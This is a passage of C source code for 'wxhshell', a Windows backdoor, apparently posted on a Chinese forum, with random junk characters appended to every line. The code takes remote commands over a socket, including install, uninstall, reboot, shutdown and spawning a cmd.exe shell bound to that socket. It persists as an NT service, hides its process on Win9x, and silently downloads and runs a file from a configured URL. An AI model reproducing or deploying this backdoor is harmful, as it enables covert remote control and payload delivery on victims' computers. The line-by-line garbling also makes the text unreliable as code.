  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [1G^/K"  
  } ;3'NMk  
  else { MjL)IgT  
} ?@5W,  
    switch(cmd[0]) { e&<yX  
  0ezYdS~o  
  // 帮助 {Tp2H_EG  
  case '?': { 6=GZLpv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YUWn;#  
    break; E+95WF|4k"  
  } cQN sL  
  // 安装 +K",^6%1  
  case 'i': { / +K?  
    if(Install()) WN]<q`.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' I}: !Z  
    else J4$! 68  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .^(/n9|o-  
    break; +C]&2zc.  
    } j{++6<tr  
  // 卸载 ?X$, fQ#F|  
  case 'r': { giY80!GX  
    if(Uninstall()) 3INI?y}t   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl9aV\W  
    else K,ej%Vtz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sy* y\5yJ  
    break; \K2*Q&>  
    } o89( h!  
  // 显示 wxhshell 所在路径 z9/G4^qF  
  case 'p': { BHDML.r }M  
    char svExeFile[MAX_PATH]; 9=l.T/?sf  
    strcpy(svExeFile,"\n\r"); JAc_kl{4O  
      strcat(svExeFile,ExeFile); R[tC^]ai  
        send(wsh,svExeFile,strlen(svExeFile),0); PyC0Q\$%  
    break; (?)7)5H  
    } X@N$Z{  
  // 重启 U\@A _ B  
  case 'b': { w*7|dZk{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;U =q-tb  
    if(Boot(REBOOT)) $m$;v<PSe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zt24qTKL  
    else { k3!a$0Bs;  
    closesocket(wsh); /a9 !Cf  
    ExitThread(0); 1Nn@L2b 2  
    } Yf_6PGNzX  
    break; ;r\(p|e  
    } Z4TL6 ]^R  
  // 关机 w42OF7f  
  case 'd': { zk_Eb?mhwV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Sg&0Wj+#j  
    if(Boot(SHUTDOWN)) .>g1 $rj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , $*IzL~  
    else { )EM7,xMz  
    closesocket(wsh); +!t}  
    ExitThread(0); }CL"S_>1  
    } sfT+i;p  
    break; ,:n| ?7  
    } yY{kG2b,  
  // 获取shell @r^!{  
  case 's': { ]w).8=I  
    CmdShell(wsh); <z+:j!~  
    closesocket(wsh); Oft arD  
    ExitThread(0); y8Xv~4qQW  
    break; 5i6 hp;=  
  } >B -q@D  
  // 退出 \5 pu|2u  
  case 'x': { Fe&qwq"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +YY8h>hj  
    CloseIt(wsh); zR6siAV9  
    break; qZk'tRv  
    } hi2sec|;<  
  // 离开 klOp ^w  
  case 'q': { @~ Dh'w2q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c~,23wP1  
    closesocket(wsh); U'( sn  
    WSACleanup(); }ucIH@U{  
    exit(1); c{#yx_)V&  
    break; \0;(VLN'U  
        } *O$CaAr\s  
  } f|EUqu%E  
  } i%Z2wP.o  
;^u*hZN[Up  
  // 提示信息 q z&+=d@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t G.(flW,  
} m4w ') r~  
  } )emOKS  
t@oK~ Nr  
  return; o5o^TW{  
} w FtN+  
V\~WvV  
// shell模块句柄 sd re#@n}  
int CmdShell(SOCKET sock) \t4tiCw  
{ Z,7R;,qX  
STARTUPINFO si; +t)n;JHN  
ZeroMemory(&si,sizeof(si)); kYwb -;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1$lh"fHU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1nhtM  
PROCESS_INFORMATION ProcessInfo; Zi$ziDz&  
char cmdline[]="cmd"; )ukpJ z""  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :\~+#/=:  
  return 0; ~i;fDQ&!  
} ~ AQp|  
)vB2!H/  
// 自身启动模式 y %8op:'  
int StartFromService(void) H5>hx {  
{ / jTT5  
typedef struct :6kjEI  
{ ks;% *d  
  DWORD ExitStatus; `\Ku]6J]5  
  DWORD PebBaseAddress; .ae O}^  
  DWORD AffinityMask; Px@/Q  
  DWORD BasePriority; S&jesG-F  
  ULONG UniqueProcessId; vH %gdpxX  
  ULONG InheritedFromUniqueProcessId; `\| ssC8u  
}   PROCESS_BASIC_INFORMATION; ov# 7 hxe  
qk(P>q8[  
PROCNTQSIP NtQueryInformationProcess; g+8hp@a  
nxm$}!Df  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,.IEDF<&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (WlIwKP  
.S\&L-{  
  HANDLE             hProcess; xFv;1Q  
  PROCESS_BASIC_INFORMATION pbi; Oeya%C5'  
\a^,sV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); th5g\h%j*  
  if(NULL == hInst ) return 0; Wo$%9!W  
g|<Sfp+;+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ra '  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,hxkk`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \[2lvft!  
$gle8Z-  
  if (!NtQueryInformationProcess) return 0; >?W[PQ5yx  
xgsjm) )  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "$HbK @]!h  
  if(!hProcess) return 0; [f~N_G6I^o  
o/cjXun*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^,Ydr~|T  
<oMUQ*OtV  
  CloseHandle(hProcess); }1 vT)  
_1Z=q.sC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )wXuwdc[  
if(hProcess==NULL) return 0; C R<`ZNuWz  
v{x{=M]  
HMODULE hMod; -]G(ms;}/Y  
char procName[255]; (LAXM x  
unsigned long cbNeeded; 2i#Sn'1  
(kBP(2V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?|;yVew  
5-u=o )>  
  CloseHandle(hProcess); u<ySd?  
\6|/RFT  
if(strstr(procName,"services")) return 1; // 以服务启动 6"j_iB  
{.e=qQ%P5)  
  return 0; // 注册表启动 }S_oH9A  
} =/Aj  
72oWhX=M%  
// 主模块 s0UFym 8  
int StartWxhshell(LPSTR lpCmdLine) qd@&59zSh  
{ eKZ%2|+j!7  
  SOCKET wsl; |w}w.%  
BOOL val=TRUE; 6`01EIk  
  int port=0; em@EDMvI  
  struct sockaddr_in door; jZfx Jm  
U$&hZ_A  
  if(wscfg.ws_autoins) Install(); f6<g3Q7Mu  
U4?(A@z9^  
port=atoi(lpCmdLine); m@Ev~~;  
$9 p!Y}  
if(port<=0) port=wscfg.ws_port; 7J$b$P0}  
{0\,0*^p  
  WSADATA data; Y o0FUj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .~lKBkS`!  
n_K~ vD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T>>YNaUL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;a"q'5+Ne  
  door.sin_family = AF_INET; Nw J:!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y9Y1PH7G  
  door.sin_port = htons(port); ]bCq=6ZKR  
] 7;f?+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kW=z+  
closesocket(wsl); )bOBQbj  
return 1;  EEy$w1ec  
} d4[(8} x$/  
u8b2$D  
  if(listen(wsl,2) == INVALID_SOCKET) { !,$i6gm  
closesocket(wsl); 1nj(h g  
return 1; `<\}FS`'  
} beY=g7|  
  Wxhshell(wsl); #PLEPB  
  WSACleanup(); Sywu=b  
j{VGClb=T  
return 0; {xcZ*m!B  
s3s4OAY  
} hi =XYC,  
;_kzcK!l  
// 以NT服务方式启动 fCAiLkT,C[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }H:F< z*  
{ z|R,&~:  
DWORD   status = 0; S|AM9*k9  
  DWORD   specificError = 0xfffffff; "pxzntY|  
&YP#M |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; USJ- e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  2B~wHv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l kIn%=Z  
  serviceStatus.dwWin32ExitCode     = 0; z5\;OLJS,  
  serviceStatus.dwServiceSpecificExitCode = 0; `XTh1Z\  
  serviceStatus.dwCheckPoint       = 0; Ths_CKwgWY  
  serviceStatus.dwWaitHint       = 0;  /RZR}  
fr6^nDY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B=L&bx  
  if (hServiceStatusHandle==0) return; j '%4{n  
iItcN;;7  
status = GetLastError(); 4\t1mocCSN  
  if (status!=NO_ERROR) tU wRE|_  
{ ! {,F~i9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EC&@I+'8Q  
    serviceStatus.dwCheckPoint       = 0; ;|%dY{L-  
    serviceStatus.dwWaitHint       = 0; ;E2>Ovv  
    serviceStatus.dwWin32ExitCode     = status; :S@1  
    serviceStatus.dwServiceSpecificExitCode = specificError; #(Or|\t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }]1BO  
    return; 8cx=#Me  
  } <hnCUg1  
gE/Tj$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fh7'[>onw  
  serviceStatus.dwCheckPoint       = 0; 0Y=![tO8  
  serviceStatus.dwWaitHint       = 0; 1B>Vt*=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I&9S;I$  
} }!#gu3  
W" "*ASi  
// 处理NT服务事件,比如:启动、停止 <3PL@orO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u),Qa=Wp  
{ ` >!n  
switch(fdwControl) {npcPp9  
{ _#e&t"@GS  
case SERVICE_CONTROL_STOP: iL{M+Ic  
  serviceStatus.dwWin32ExitCode = 0; o;"OSp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K[\'"HyQ,X  
  serviceStatus.dwCheckPoint   = 0; {@}?k s5  
  serviceStatus.dwWaitHint     = 0; .Jb$l$5'w  
  { b<I9 MR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UnDgu4#R`A  
  } DQ.v+C,  
  return; /(I*,.d  
case SERVICE_CONTROL_PAUSE: r5&I? 0   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \b'x t  
  break; inPJ2uBD\^  
case SERVICE_CONTROL_CONTINUE: C) QKPT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EY`H}S!xy  
  break; I7QCYB|  
case SERVICE_CONTROL_INTERROGATE: h<l1]h+x  
  break; E{xVc;t  
}; XALI<ZY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *MN HT`Y^o  
} d<w~jP\  
(fD ;g9  
// 标准应用程序主函数 'J*<iA*W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BIaDY<j90  
{ h.rD}N\L  
~s Qjl]  
// 获取操作系统版本 ?zJpD8e  
OsIsNt=GetOsVer(); /5AW?2)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C`rLj5E%  
e)nimq {6  
  // 从命令行安装 G |*(8r()  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1RLY $M  
Y-piL8Xc  
  // 下载执行文件 O u>u %  
if(wscfg.ws_downexe) { q+SD6qM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1PaUI#X"2F  
  WinExec(wscfg.ws_filenam,SW_HIDE); A \rt6/  
} <HWS:'1  
@4~=CV%j  
if(!OsIsNt) { Dq\ Jz~  
// 如果时win9x,隐藏进程并且设置为注册表启动 V{-AP=C7  
HideProc(); n;HHogA  
StartWxhshell(lpCmdLine); r,SnXjp@  
} wCMQPt)VS  
else +`mGK:>  
  if(StartFromService()) ymY1o$qWB}  
  // 以服务方式启动 $FH18  
  StartServiceCtrlDispatcher(DispatchTable); r90+,aLM#?  
else n>,L=wV  
  // 普通方式启动 ;:S&F  
  StartWxhshell(lpCmdLine); e[u?_h  
{",MCu_V  
return 0; 2 gq$C"  
}
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只看该作者 1 发表于: 2006-10-10
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